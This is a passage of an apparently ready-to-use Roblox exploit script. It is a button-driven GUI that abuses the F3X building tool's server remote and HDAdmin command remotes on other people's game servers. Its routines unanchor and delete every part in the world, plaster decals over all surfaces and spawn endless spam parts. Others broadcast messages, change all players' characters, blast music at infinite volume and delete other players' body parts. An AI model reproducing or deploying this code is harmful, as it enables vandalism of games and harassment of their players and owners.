SetTrans(part, int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end local function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end local function SyncLighting(part, brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end local function Color(part, color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color, ["UnionColoring"] = false } } } _(args) end local function SpawnDecal(part, side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end local function AddDecal(part, asset, side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://" .. asset } } } _(args) end local function Sky(id) local root = char:WaitForChild("HumanoidRootPart") local spawnCF = root.CFrame + Vector3.new(0, 6, 0) -- Snapshot existing parts before creating local existingParts = {} for _, v in workspace:GetChildren() do existingParts[v] = true end CreatePart(spawnCF, workspace) task.wait(0.3) -- Find the newly added part local skyPart for _, v in workspace:GetChildren() do if v:IsA("BasePart") and not existingParts[v] then skyPart = v break end end if skyPart then SetName(skyPart, "Sky") AddMesh(skyPart) SetMesh(skyPart, "111891702759441") SetTexture(skyPart, id) MeshResize(skyPart, Vector3.new(10000, 10000, 10000)) SetLocked(skyPart, true) SetAnchor(true, skyPart) else warn("Sky part not found after creation!") end end Sky("1369437449") --Please leave this credit --Script made by Yaazkidd (I copy inspiration from blue2spooky wooo) end) end; task.spawn(C_8); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_a() local script = G2L["a"]; local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end if not tool then return end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function CreatePart(cf,parent) _({"CreatePart","Normal",cf,parent}) end function SetName(part,name) _({"SetName",{part},name}) end function Resize(part,size,cf) _({"SyncResize",{{Part=part,CFrame=cf,Size=size}}}) end function MovePart(part,cf) _({"SyncMove",{{Part=part,CFrame=cf}}}) end function SetLocked(part,boolean) _({"SetLocked",{part},boolean}) end function SetTrans(part,int) _({"SyncMaterial",{{Part=part,Transparency=int}}}) end function SpawnDecal(part,side) _({"CreateTextures",{{Part=part,Face=side,TextureType="Decal"}}}) end function AddDecal(part,asset,side) _({"SyncTexture",{{Part=part,Face=side,TextureType="Decal",Texture="rbxassetid://6877509129"}}}) end while wait(0.1) do spawn(function() local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100) local f = char.HumanoidRootPart.CFrame.y local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100) CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then SetName(v,"particle") SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,decalId,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,decalId,Enum.NormalId.Back) SetTrans(v,1) Resize(v,Vector3.new(7,7,0.1),v.CFrame) SetLocked(v,true) while wait(0.01) do MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z)) end end end end) end end) end; task.spawn(C_a); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_c() local script = G2L["c"]; local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Unanchor() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) SetAnchor(false,v) end) end end Unanchor() end) end; task.spawn(C_c); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_e() local script = G2L["e"]; local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";sm THE N00BZ ARE HERE NOW SURRENDER") end) end; task.spawn(C_e); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_10() local script = G2L["10"]; local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";SH WE WANT OUR INDEPENDENCE NOW! GIVE OUR NOOB LAND BACK!") end) end; task.spawn(C_10); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_12() local script = G2L["12"]; local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";CHAR ALL NOOB_313878") end) end; task.spawn(C_12); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_14() local script = G2L["14"]; warn('fe bypass complete') game.Workspace.FilteringEnabled = false end; task.spawn(C_14); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_16() local script = G2L["16"]; local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("13456816107") ----------------------- local player = game.Players.LocalPlayer local char = player.Character local tool local remote -- Search player Backpack and character for the tool for _, v in player.Backpack:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end if not tool and char then for _, v in char:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end end if not tool then for _, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end end if not tool then warn("SyncAPI tool not found!") return end remote = tool.SyncAPI.ServerEndpoint local function _(args) remote:InvokeServer(table.unpack(args)) end local function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end local function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end local function CreatePart(cf, parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end local function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end local function MovePart(part, cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end local function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end local function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end local function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end local function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end local function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end local function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end local function Weld(part1, part2, lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end local function SetLocked(part, boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end local function SetTrans(part, int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end local function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end local function SyncLighting(part, brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end local function Color(part, color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color, ["UnionColoring"] = false } } } _(args) end local function SpawnDecal(part, side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end local function AddDecal(part, asset, side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://" .. asset } } } _(args) end local function Sky(id) local root = char:WaitForChild("HumanoidRootPart") local spawnCF = root.CFrame + Vector3.new(0, 6, 0) -- Snapshot existing parts before creating local existingParts = {} for _, v in workspace:GetChildren() do existingParts[v] = true end CreatePart(spawnCF, workspace) task.wait(0.3) -- Find the newly added part local skyPart for _, v in workspace:GetChildren() do if v:IsA("BasePart") and not existingParts[v] then skyPart = v break end end if skyPart then SetName(skyPart, "Sky") AddMesh(skyPart) SetMesh(skyPart, "111891702759441") SetTexture(skyPart, id) MeshResize(skyPart, Vector3.new(10000, 10000, 10000)) SetLocked(skyPart, true) SetAnchor(true, skyPart) else warn("Sky part not found after creation!") end end Sky("13456816107") --Please leave this credit --Script made by Yaazkidd (I copy inspiration from blue2spooky wooo) ---------------------------- local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end if not tool then return end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function CreatePart(cf,parent) _({"CreatePart","Normal",cf,parent}) end function SetName(part,name) _({"SetName",{part},name}) end function Resize(part,size,cf) _({"SyncResize",{{Part=part,CFrame=cf,Size=size}}}) end function MovePart(part,cf) _({"SyncMove",{{Part=part,CFrame=cf}}}) end function SetLocked(part,boolean) _({"SetLocked",{part},boolean}) end function SetTrans(part,int) _({"SyncMaterial",{{Part=part,Transparency=int}}}) end function SpawnDecal(part,side) _({"CreateTextures",{{Part=part,Face=side,TextureType="Decal"}}}) end function AddDecal(part,asset,side) _({"SyncTexture",{{Part=part,Face=side,TextureType="Decal",Texture="rbxassetid://13456816107"}}}) end while wait(0.1) do spawn(function() local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100) local f = char.HumanoidRootPart.CFrame.y local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100) CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then SetName(v,"particle") SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,decalId,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,decalId,Enum.NormalId.Back) SetTrans(v,1) Resize(v,Vector3.new(7,7,0.1),v.CFrame) SetLocked(v,true) while wait(0.01) do MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z)) end end end end) end end) end; task.spawn(C_16); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_18() local script = G2L["18"]; local button = script.Parent button.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] function BurningEff(part) local eff1 = Instance.new("ParticleEmitter",part) eff1.Size = NumberSequence.new(.1) eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)}) eff1.LightEmission = 1 eff1.Lifetime = NumberRange.new(1) eff1.Speed = NumberRange.new(0) eff1.Rate = 100 eff1.Texture = "rbxassetid://347504241" eff1.Acceleration = Vector3.new(0,10,0) eff1.Color = ColorSequence.new(Color3.new(1,0,0)) local eff2 = Instance.new("ParticleEmitter",part) eff2.Size = NumberSequence.new(.1) eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)}) eff2.LightEmission = 1 eff2.Lifetime = NumberRange.new(1) eff2.Speed = NumberRange.new(0) eff2.Rate = 100 eff2.Texture = "rbxassetid://347504259" eff2.Acceleration = Vector3.new(0,10,0) eff2.Color = ColorSequence.new(Color3.new(1,0,0)) local eff3 = Instance.new("ParticleEmitter",part) eff3.Size = NumberSequence.new(1) eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)}) eff3.LightEmission = 1 eff3.Lifetime = NumberRange.new(1) eff3.Speed = NumberRange.new(0) eff3.Rate = 100 eff3.Texture = "rbxasset://textures/particles/fire_main.dds" eff3.Acceleration = Vector3.new(0,10,0) eff3.Color = ColorSequence.new(Color3.new(1,0,0)) end local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end blak=Color3.new(0,0,0) local function Color(part, color) local args = { "SyncColor", { { Part = part, Color = color, UnionColoring = false } } } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MoveVector(part,vector) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Offset"] = vector } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end local function applyDecorationToPart(part) local argsCreate = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } local argsSync = { [1] = "SyncDecorate", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire", ["Size"] = 3, ["Heat"] = 25, ["Color"] = Color3.fromRGB(255, 0, 0), ["SecondaryColor"] = Color3.fromRGB(255, 0, 0) } } } _(argsCreate) _(argsSync) end function eyePart(part) local argsCreate = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } local argsSync = { [1] = "SyncDecorate", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire", ["Size"] = 1, ["Heat"] = 12, ["Color"] = Color3.fromRGB(155, 0, 0), ["SecondaryColor"] = Color3.fromRGB(255, 0, 0) } } } _(argsCreate) _(argsSync) end local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent --kill thingy function thekille(target) if target and target.Character then for i,v in target.Character:GetDescendants() do if v:IsA("BasePart") then RequestCommand:InvokeServer(";paint "..target.Name.." black") spawn(function() Color(v,blak) end) spawn(function() SetTrans(v,0.1) end) wait(0.5) spawn(function() SetTrans(v,0.2) end) wait(0.5) spawn(function() SetTrans(v,0.3) end) wait(0.5) spawn(function() SetTrans(v,0.4) end) wait(0.5) spawn(function() SetTrans(v,0.5) end) wait(0.5) spawn(function() SetTrans(v,0.6) end) wait(0.5) spawn(function() SetTrans(v,0.7) end) wait(0.5) spawn(function() SetTrans(v,0.8) end) wait(0.5) spawn(function() SetTrans(v,0.9) end) wait(0.5) spawn(function() SetTrans(v,1) end) wait(3) spawn(function() DestroyPart(v) end) end end end end wait(0.1) local kill = Instance.new("Sound",char) kill.SoundId = "rbxassetid://28144425" kill.Pitch = 0.6 kill.Volume = 3 local at = kill:Clone() at.SoundId="rbxassetid://82500396906354" at.Parent = char at.Volume = 0.5 local player = Players.LocalPlayer local character = char RequestCommand:InvokeServer(";titlebk me ᴊᴏʜɴ ᴅᴏᴇ") RequestCommand:InvokeServer(";removeaccessories") wait(1.5) RequestCommand:InvokeServer(";hat me 18196403126") wait(0.6) RequestCommand:InvokeServer(";shirt me 100276101149100") wait(0.9) RequestCommand:InvokeServer(";pants me 109662040845019") wait(0.5) RequestCommand:InvokeServer(";head me 0") wait(0.7) RequestCommand:InvokeServer(";face me 144075659") wait(0.3) local eye = char:FindFirstChild("Accessory (JohnEye)").Handle local arm = char:FindFirstChild("Right Arm") local tor = char:FindFirstChild("Torso") local ar2 = char:FindFirstChild("Left Arm") local RLeg = char:FindFirstChild("Right Leg") local head = char:FindFirstChild("Head") local LLeg = char:FindFirstChild("Left Leg") task.spawn(function() applyDecorationToPart(arm) end) task.spawn(function() applyDecorationToPart(ar2) end) task.spawn(function() eyePart(eye) end) RequestCommand:InvokeServer(";music 17717379222 ;pitch 0.2 ;volume inf") task.spawn(function() Color(arm, Color3.fromRGB(0,0,0)) end) task.spawn(function() Color(ar2, Color3.fromRGB(252, 255, 150)) end) task.spawn(function() Color(head, Color3.fromRGB(252, 255, 150)) end) task.spawn(function() Color(tor, Color3.fromRGB(255, 255, 0)) end) task.spawn(function() Color(RLeg, Color3.fromRGB(0, 200, 255)) end) task.spawn(function() Color(LLeg, Color3.fromRGB(0, 200, 255)) end) task.spawn(function() AddMesh(arm) end) task.spawn(function() SetMesh(arm,"94818190090394") end) task.spawn(function() MoveVector(arm,Vector3.new(0.37, -0.6, 0)) end) local arm = character:FindFirstChild("Right Arm") local humanoid = character:FindFirstChildOfClass("Humanoid") local isDead = false humanoid.Died:Connect(function() isDead = true end) local animator = humanoid:FindFirstChildOfClass("Animator") local attackAnim = Instance.new("Animation") attackAnim.AnimationId = "rbxassetid://186934658" local attackTrack = animator:LoadAnimation(attackAnim) function attack() attackTrack:Play() local hitPlayer = nil local touchedConnection local function onTouch(other) local otherPlayer = Players:GetPlayerFromCharacter(other.Parent) if otherPlayer and otherPlayer ~= player then hitPlayer = otherPlayer end end touchedConnection = arm.Touched:Connect(onTouch) task.wait(0.5) if touchedConnection then touchedConnection:Disconnect() end if hitPlayer then d = at:Clone() d:Play() d.Parent = char spawn(function() wait(5) d:Destroy() end) task.spawn(DestroyPart,hitPlayer.Character.Head) else d = kill:Clone() d:Play() d.Parent = char wait(5) d:Destroy() end end UserInputService.TouchTap:Connect(function(input, gameProcessed) if gameProcessed then return end if isDead then return end attack() end) local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function fire(part) local argsCreate = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } local argsSync = { [1] = "SyncDecorate", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire", ["Size"] = 10, ["Heat"] = 0, ["Color"] = Color3.fromRGB(255, 0, 0), ["SecondaryColor"] = Color3.fromRGB(255, 0, 0) } } } _(argsCreate) _(argsSync) end function delete(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part, cf) local args = { "SyncMove", { { Part = part, CFrame = cf } } } _(args) end local function resize(part, size, cf) local args = { "SyncResize", { { Part = part, CFrame = cf, Size = size } } } _(args) end local function syncmaterial(part, mate) local args = { "SyncMaterial", { { Part = part, Material = mate } } } _(args) end local function transparency(part, trans) local args = { "SyncMaterial", { { Part = part, Transparency = trans } } } _(args) end local function color(part, color) local args = { "SyncColor", { { Part = part, Color = color, UnionColoring = false } } } _(args) end local function syncmeshid(part, id) local args = { "SyncMesh", { { Part = part, MeshId = "rbxassetid://" .. id } } } _(args) end function destroy(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end local function makemesh(part) local args = { "CreateMeshes", { { Part = part } } } _(args) end local function syncmeshsize(part, vectora) local args = { "SyncMesh", { { Part = part, Scale = vectora } } } _(args) end local function syncmeshtexture(part, id) local args = { "SyncMesh", { { Part = part, TextureId = "rbxassetid://" .. id } } } _(args) end local function name(part, stringa) local args = { "SetName", { part }, stringa } _(args) end local function lock(part, boolean) local args = { "SetLocked", { part }, boolean } _(args) end local function setcollision(part, booleana) local args = { "SyncCollision", { { Part = part, CanCollide = booleana } } } _(args) end local function setanchor(part, boolean) local args = { "SyncAnchor", { { Part = part, Anchored = boolean } } } _(args) end local function createdecal(part, side) local args = { "CreateTextures", { { Part = part, Face = side, TextureType = "Decal" } } } _(args) end local function setdecal(part, asset, side) local args = { "SyncTexture", { { Part = part, Face = side, TextureType = "Decal", Texture = "rbxassetid://" .. asset } } } _(args) end task.spawn(function() while task.wait(0.02) do task.spawn(function() local hrp = char.HumanoidRootPart local pos = hrp.CFrame * CFrame.new(0, -3, 0) local trail = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(0,0,0), char) task.spawn(function() setcollision(trail, false) end) task.spawn(function() syncmaterial(trail, Enum.Material.Granite) end) task.spawn(function() color(trail, Color3.new(0, 0, 0)) end) task.spawn(function() resize(trail, Vector3.new(10,0,10), pos) end) task.spawn(function() fire(trail) end) BurningEff(trail) task.wait(1) delete(trail) end) end end) local ReplicatedStorage = game:GetService("ReplicatedStorage") local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent local RunService = game:GetService("RunService") local rotatetypeshii = Vector3.new(0, 1, 0).Unit local skypartrotation = 0 local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function reflect(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Reflectance"] = int } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function MeshColor(part,color) local args = { "SyncMesh", { { Part = part, VertexColor = color } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) 